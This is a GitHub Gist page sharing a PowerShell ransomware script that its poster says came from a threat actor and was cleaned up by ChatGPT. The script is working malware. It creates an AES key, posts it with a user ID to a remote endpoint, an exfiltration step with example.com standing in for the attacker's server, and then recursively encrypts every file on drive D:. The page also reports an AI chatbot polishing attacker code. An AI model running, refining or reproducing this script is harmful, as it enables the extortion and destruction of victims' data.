-
-
Save domkirby/49b176c561a5e4d014393c18602276fe to your computer and use it in GitHub Desktop.
A script from a threat actor after ChatGPT cleaned it up (for fun). This script WILL encrypt your stuff, don't run it.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Define the folder to encrypt | |
$folderToEncrypt = "D:\" | |
# Generate a unique user ID | |
$userId = [guid]::NewGuid().ToString() | |
# Generate a secure random key | |
$key = New-Object byte[] 32 | |
[System.Security.Cryptography.RandomNumberGenerator]::Create().GetBytes($key) | |
# ASCII-safe encode the key | |
$keyEncoded = [Convert]::ToBase64String($key) | |
# Upload the key and User ID to a REST API endpoint | |
function Upload-Key { | |
param ( | |
[string]$Endpoint, | |
[string]$UserId, | |
[string]$Key | |
) | |
$body = @{ | |
userId = $UserId | |
key = $Key | |
} | ConvertTo-Json -Depth 10 | |
# Make the HTTP POST request | |
Invoke-RestMethod -Uri $Endpoint -Method Post -Body $body -ContentType "application/json" | |
} | |
# Example endpoint URL (replace with your actual endpoint) | |
$endpointUrl = "https://example.com/api/upload-key" | |
Upload-Key -Endpoint $endpointUrl -UserId $userId -Key $keyEncoded | |
# Encryption function using AES with unique IVs | |
function Encrypt-Files { | |
param ( | |
[string]$Path, | |
[byte[]]$Key | |
) | |
# Get all files in the specified folder | |
$files = Get-ChildItem -Path $Path -File -Recurse | |
foreach ($file in $files) { | |
$fileContent = Get-Content -Path $file.FullName -Raw -Encoding Byte | |
# Generate a unique IV for each file | |
$iv = New-Object byte[] 16 | |
[System.Security.Cryptography.RandomNumberGenerator]::Create().GetBytes($iv) | |
# Create AES encryption object | |
$aes = [System.Security.Cryptography.Aes]::Create() | |
$aes.Key = $Key | |
$aes.IV = $iv | |
$encryptor = $aes.CreateEncryptor() | |
$encryptedContent = $encryptor.TransformFinalBlock($fileContent, 0, $fileContent.Length) | |
# Save encrypted content | |
$encryptedFilePath = "$($file.FullName).encrypted" | |
[System.IO.File]::WriteAllBytes($encryptedFilePath, $encryptedContent) | |
# Save IV to a separate file | |
$ivFilePath = "$($file.FullName).iv" | |
[System.IO.File]::WriteAllBytes($ivFilePath, $iv) | |
} | |
Write-Host "Encryption completed for all files in $Path." | |
} | |
# Execute the encryption function | |
Encrypt-Files -Path $folderToEncrypt -Key $key |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment